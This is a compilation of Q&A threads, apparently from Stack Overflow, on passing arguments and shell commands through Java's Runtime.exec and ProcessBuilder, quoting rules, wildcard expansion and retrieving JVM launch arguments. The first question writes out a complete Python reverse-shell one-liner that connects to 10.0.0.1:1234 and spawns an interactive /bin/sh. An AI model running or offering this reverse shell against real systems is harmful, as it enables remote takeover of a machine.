Given the below java code, how can I pass the following python statements as argument to the java code
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
The java code:
import java.io.*;
public class Exec {
public static void main(String[] args) throws IOException {
Process p = Runtime.getRuntime().exec(args[0]);
byte[] b = new byte[1];
while (p.getErrorStream().read(b) > 0)
System.out.write(b);
while (p.getInputStream().read(b) > 0)
System.out.write(b);
}
}
I execute the java code using:
java Exec 'python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);''
but it throws syntax error near unexpected token('`. If I use double quotes at the beginning and end
java Exec "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
it throws:
File "<string>", line 1
'import
^
SyntaxError: EOL while scanning string literal
Any help is much appreciated.
As you've noted, this is quite confusing. You're trying to pass in everything as one argument and the quoting becomes difficult. If you need explicit arguments, I think you have to pass in three arguments to your Java program, viz:
python
-c
the complete script quoted appropriately
e.g.
java Exec python -c "script quoted and escaped properly"
but perhaps you could circumvent that by running 'python' and passing the name of the file containing your script? (why do you need to specify 'python' and '-c' - could that be hardcoded in your program?)
Fundamentally, though, why are you using Java to execute a Python program to spawn a bash shell? If you're on the Java platform, I would look at how to achieve what you really want without having to fork subprocesses using different technologies.
Related
This question already has an answer here:
Why does Runtime.exec(String) work for some but not all commands?
(1 answer)
Closed 10 months ago.
I am doing an exercise related to Runtime.exec(), I understand that Runtime.exec is not a shell interpreter, that's why I execute "bash -c 'command'" instead, but for some reason, I can execute commands like ls bash -c 'ls' but not echo or redirection or multiple commands. These does not work:
bash -c 'echo 1234'
bash -c 'ls > abc'
bash -c 'ls;id'
bash -c 'ls -al'
Here is my java code:
import java.util.*;
import java.io.*;
public class runtime {
public static void main(String args[]) throws Exception{
String cmd = args[0];
System.out.println(cmd);
Process p = Runtime.getRuntime().exec(cmd);
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
System.out.println("Out: " + disr);
disr = dis.readLine();
}
}
}
I run the above commands with the syntax:
java runtime "bash -c 'command'"
This works:
$ java runtime "bash -c 'ls'"
bash -c 'ls'
Out: Main.class
Out: Main.java
Out: runtime.class
Out: runtime.java
I am using openjdk 11.0.15 on Ubuntu 20.04 and zsh.
Can anyone tell me why Runtime doesn't work in this case? Thank you!
Because of shell parsing.
These are all concepts that the OS just does not have:
The concept of 'every space separates one argument from another (and the command from the list of arguments'). The concept that a single string can possibly run anything, in fact; at the OS level that's just not what the 'run this thing' API looks like. When you type commands on the command prompt, your shell app is 'interpreting' these strings into a command execution request.
The concept of figuring out that bash means /bin/bash, i.e. $PATH resolution.
The concept that *.txt is supposed to refer to all files that ends in .txt.
The concept that $FOO should be replaced with the value of the environment variable 'FOO'
The concept that ; separates 2 commands, and it's supposed to run both.
The concept that single and double quotes escape things. "Escape things" implies that things can cause interpretation to happen. The OS interprets nothing, therefore there's nothing to escape. Obvious, then, that the OS doesn't know what ' is, or ".
That >foo means: Please set the standard output of the spawned process such that it sends it all to file 'foo'.
In windows shells, that # in front of the command means 'do not echo the command itself'. This and many other things are shellisms: /bin/bash does that, maybe /bin/zsh does something else. Windows's built in shell thing definitely is quite different from bash!
Instead, an OS simply wants you to provide it a full path to an executable along with a list of strings, and pick targets for standard in, standard out, and standard err. It does no processing on any of that, just starts the process you named, and passes it the strings verbatim.
You're sort of half there, as you already figured out that e.g. ls >foo cannot work if you execute it on its own, but it can work if you tell bash to execute it. As ALL of that stuff in the above list? Your shell does that.
It gets more complicated: Turning *.txt into foo.txt bar.txt is a task of bash and friends, e.g. if you attempted to run: ls '*.txt' it does not work. But on windows, it's not the shell's job; the shell just passes it verbatim to dir, and it is the command's job to undo it. What a mess, right? Executing things is hard!
So, what's wrong here? Two things:
Space splitting isn't working out.
Quote application isn't being done.
When you write:
bash -c 'ls >foo'
in a bash shell, bash has to first split this up, into a command, and a list of arguments. Bash does so as follows:
Command: bash
arg1: -c
arg2: ls >foo
It knows that ls >foo isn't 2 arguments because, effectively, "space" is the bash operator for: "... and here is the next argument", and with quotes (either single or double), the space becomes a literal space instead of the '... move to next argument ...' operator.
In your code, you ask bash to run java, and then java to run bash. So, bash first does:
cmd: java
arg1: bash -c 'ls >foo'
With the same logic at work. Your java app then takes that entire string (that's args[0]: "bash -c 'ls >foo'"), and you then feed it to a method you should never use: Runtime.exec(). Always use ProcessBuilder, and always use the list-based form of it.
Given that you're using the bad method, you're now asking java to do this splitting thing. After all, if you just tell the OS verbatim, please run "bash -c 'ls >foo'", the OS dutifully reports: "I'm sorry, but file ./bash -c ;ls >foo' does not exist", because it does not processing at all". This is unwieldy so java's exec() method is a disaster you should never use: Because people are confused about this, it tries to do some extremely basic processing, except every OS and shell is different, java does not know this, so it does a really bad job at it.
Hence, do not use it.
In this case, java doesn't realize that those quotes mean it shouldn't split, so java tells the OS:
Please run:
cmd: /bin/bash (java DOES do path lookup; but you should avoid this, do not use relative path names, you should always write them out in full)
arg1: -c
arg2: 'ls
arg3: >foo'
and now you understand why this is just going completely wrong.
Instead, you want java to tell the OS:
cmd: /bin/bash
arg1: -c
arg2: ls >foo
Note: ls >foo needs to be one argument, and NOTHING in the argument should be containing quotes, anywhere. The reason you write:
/bin/bash -c 'ls >foo'
In bash, is because you [A] want bash not to treat that space between ls and >foo as an arg separator (you want ls >foo to travel to /bin/bash as one argument), and [B] that you want >foo to just be sent to the bash you're spawning and not to be treated as 'please redirect the output to file foo' at the current shell level.
Runtime.exec isn't a shell, so the quotes stuff? Runtime.exec has no idea.
This means more generally your plan of "I shall write an app where the entire argument you pass to it is just run" is oversimplified and can never work unless you write an entire quotes and escaper analyser for it.
An easy way out is to take the input, write it out to a shell script on disk, set the exec flag on it, and always run /bin/bash -c /path/to/script-you-just-wrote, sidestepping any need to attempt to parse anything in java: Let bash do it.
The ONE weird bizarro thing I cannot explain, is that literally passing 'ls' to /bin/bash -c, with quotes intact, DOES work and runs ls as normal, but 'ls *' does not, perhaps because now bash thinks you want executable file /bin/ls * which obviously does not exist (a star cannot be in a file name, or at least, that's not the ls executable, and it's not an alias for the ls built-in). At any rate, you want to pass ls without the quotes.
Let's try it!
import java.util.*;
import java.io.*;
public class runtime {
public static void main(String args[]) throws Exception{
ProcessBuilder pb = new ProcessBuilder();
pb.command("/bin/bash", "-c", "echo 1234");
// pb.command("/bin/bash", "-c", "'echo 1234'");
Process p = pb.start();
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
System.out.println("Out: " + disr);
disr = dis.readLine();
}
int errCode = p.waitFor();
System.out.println("Process exit code: " + errCode);
}
}
The above works fine. Replace the .command line with the commented out variant and you'll notice it does not work at all, and you get an error. On my mac I get a '127' error; perhaps this is bash reporting back: I could not find the command you were attempting to execute. 0 is what you're looking for when you invoke waitFor: That's the code for 'no errors'.
I'm trying to parse my command line arguments using the apache commons CLI. It might be a bit heavy handed for the example here, but it makes sense in the context of the program I'm creating. I'm trying to read a file pattern filter, similar to what grep uses to select files to process.
My Argument looks like this:
Program --input *.*
I've written a test program to see what the parser is seeing;
public static void main(String[] args) {
Options options = new Options();
options.addOption(new Option(INPUT_FILTER_SHORT, INPUT_FILTER_LONG, true, INPUT_FILTER_DESCRIPTION));
CommandLineParser parser = new BasicParser();
CommandLine cmd = parser.parse(options, args);
System.out.println(cmd.getOptionValue(INPUT_FILTER_SHORT));
}
This prints out:
.classpath
If I change my arguments to:
Program --input test.txt
I get the output:
test.txt
I'm assuming that I have to do something to tell apache commons what * is not a special character? I can't seem to find anything about this online.
I'm experiencing this on Windows (7). I'm fairly certain it's the *.* which is causing the issue as when I swap to using patterns that don't use *, the expected pattern shows up.
Your problem isn't really to do with Commons CLI, but to do with how the shell and the Java executable together process the parameters.
To eliminate other factors, and see what's going on, use a short Java program:
public class ArgsDemo {
public static void main(String[] args) {
for(int i=0; i<args.length; i++) {
System.out.println("" + i + ": " + args[i]);
}
}
}
Play with java ArgsDemo hello world, java ArgsDemo * etc. and observe what happens.
On UNIX and Linux:
Java does no special processing of *. However, the shell does. So if you did:
$ mkdir x
$ cd x
$ touch a b
$ java -jar myjar.jar MyClass *
... then MyClass.main() would be invoked with the parameter array ["a","b"] -- because the UNIX shell expands * to files in the current directory.
You can suppress this by escaping:
$ java -jar myjar MyClass * // main() sees ["*"])
(Note that a UNIX shell wouldn't expand *.* to .classpath because this form would ignore "hidden" files starting with .)
On Windows
cmd.exe does not do UNIX-style wildcard expansion. If you supply * as a parameter to a command in Windows, the command gets a literal *. So for example, PKUNZIP *.zip passes *.zip to PKUNZIP.EXE, and it's up to that program to expand the wildcard if it wants to.
Since some release of Java 7, the Java executable for Windows does some wildcard to filename expansion of its own, before passing the parameters to your main() class.
I've not been able to find clear documentation of Java-for-Windows' wildcard expansion rules, but you should be able to control it with quoting, escaping the quotes to prevent cmd.exe interpreting them:
> java.exe -jar myjar.jar MyClass """*.*"""
(Untested as I don't have a Windows box handy, and quoting in cmd.exe is a bit of a beast - do please experiment and either edit the above or leave a comment)
Below is a python script that executes a linux bash command "echo Hello World > ./output"
import os
os.system("bash -c \"echo Hello World > ./output\"");
I am trying to do the same with Java. Below is my best effort, following the instructions I found here: Want to invoke a linux shell command from Java
import java.io.IOException;
public class callCommand {
public static void main(String[] args) {
try {
Process p = Runtime.getRuntime().exec(
new String[]{"bash","-c",
"\"echo Hello World > ./output\""});
} catch(IOException e) {
e.printStackTrace();
}
}
}
It compiles without issue, and runs without complaint, but no output file is generated.
The extra quotes around echo ... should be removed:
Process p = Runtime.getRuntime().exec(new String[]{
"bash", "-c",
"echo Hello World > ./output"
});
The python version needs extra quotes to tell the underlying system that echo Hello World > ./output is a single argument. The java version explicitly specifies arguments as separate strings, so it doesn't need those quotes.
Also, your version doesn't "run without complaint", you just don't see the complaints, because you don't read the error stream of the created process.
The standard input, output and error streams to/from a system process started from Java are accessed through the methods getOutputStream(), getInputStream() and getErrorStream() of Process.
I recommend you to get the error output produced by your system process:
Process p = Runtime.getRuntime().exec(...);
InputStream input=p.getErrorStream();
do
{
n=input.read(...);
}
while (n>=0);
Be careful: For your actual problem, this would be enough. But for a process which produces a longer error/output, you need to perform the reading of the standard error/output in a separate thread. If not, the system process would block when the error/output buffer is full, and wait till it is externally consumed, and if you place the reading loop just after the process is executed, it will never execute and so, the program will get into a deadlock.
Here is a strange problem I ran into:
I create a single program to print all the received args, Here is the code:
public class Test {
public static void main(String[] args) {
for (int i = 0; i < args.length; i ++) {
System.out.println(args[i]);
}
}
}
Then I built a jar file of it and ran the following command:
java -jar test.jar test&1
However, it didn't print "test&1" as expected. The result of it is:
test
'1'is not recognized as an internal or external command,operable program or batch file.
So my question is: what is the seperation of args? If I really need to receive "test&1", what should I do?
Thanks!
It's nothing to do with Java. The & character is special to the Windows shell (I can tell it's Windows from the error message): It separates two commands on one line, so what you're doing is telling the shell to run java -jar test.jar test and then run 1. If you want to pass test&1 to Java, you'll have to put it in quotes:
java -jar test.jar "test&1"
The & is also special on *nix shells (but in a different way, it runs the command in a sub-shell). There, you could use quotes as above, or put an \ before the & instead. But not on Windows.
I would like to know if it is possible to get from code the command used to launch a java program.
E.g. if I launch a java program with:
java -cp lib1:lib2:... -jar mylib.jar com.foo.Bar
I would like to get the exact string (jvm parameters included).
Is it possible?
Comment on the bounty and the question
Thank you all for your responses. Unfortunately, I did not get the answer I was initally looking for. I was hoping there was some portable solution to get the complete java command from within the program itself (including classpath etc.). As it seems there are no portable solution and since I am using Linux I am using the responses of agodinhost and Luigi R. Viggiano to solve my problem. However I give the bounty to rahulroc for the most complete (portable) response. For the rest an upvote for all :)
The below mentioned code should show all JVM parameters, arguments passed to the main method as well as the main class name.
import java.lang.management.ManagementFactory;
import java.lang.management.RuntimeMXBean;
import java.util.List;
public static void main(String[] args) {
RuntimeMXBean bean = ManagementFactory.getRuntimeMXBean();
List<String> jvmArgs = bean.getInputArguments();
for (int i = 0; i < jvmArgs.size(); i++) {
System.out.println( jvmArgs.get( i ) );
}
System.out.println(" -classpath " + System.getProperty("java.class.path"));
// print the non-JVM command line arguments
// print name of the main class with its arguments, like org.ClassName param1 param2
System.out.println(" " + System.getProperty("sun.java.command"));
}
javadoc for getInputArguments
Returns the input arguments passed to the Java virtual machine which
does not include the arguments to the main method. This method returns
an empty list if there is no input argument to the Java virtual
machine.
Some Java virtual machine implementations may take input arguments
from multiple different sources: for examples, arguments passed from
the application that launches the Java virtual machine such as the
'java' command, environment variables, configuration files, etc.
Typically, not all command-line options to the 'java' command are
passed to the Java virtual machine. Thus, the returned input arguments
may not include all command-line options.
You can also take a look at : jps
It's a Java program that is able to get the full command line for all
Java processes, including full class name of main class and JVM
options.
You can find a good summary of various JVM tools, including
Java Application Launcher links to :
ManagementFactory.getRuntimeMXBean() - Returns the managed bean for the runtime system of the Java virtual machine.
getInputArguments() javadoc
determine if JVM is running in debug mode
You can use this to retrieve the VM parameters :
public static void main(String args[]) {
List<String> inputArguments = ManagementFactory.getRuntimeMXBean().getInputArguments();
System.out.println("input arguments = " + inputArguments);
}
However it won't give you all the command line (only gives the JVM arguments, no main class nor parameters). Sample output:
input arguments = [-Dfile.encoding=UTF-8, -XX:-UseTLAB, -Xms2000m, -Xmx2000m, -XX:+PrintCompilation, -XX:+PrintGC]
It only works on Sun Oracle JVM: System.getProperty("sun.java.command")
Additionally, you can have a look at JavaSysMon, it can report command line of active processes. To check which is the current JVM Process check here: How can a Java program get its own process ID?
in a linux machine would be easier to run:
ps -ef | grep java
this command will list all java programs running with it's used parameters.
Not sure about what can be used in a windows environment.
In the task manager on Win2003 you can enable the display of a column that displays the command like it does on linux. Or, you can do it from the command line like so:
wmic.exe PROCESS where "name like '%java%'" get Processid,Caption,Commandline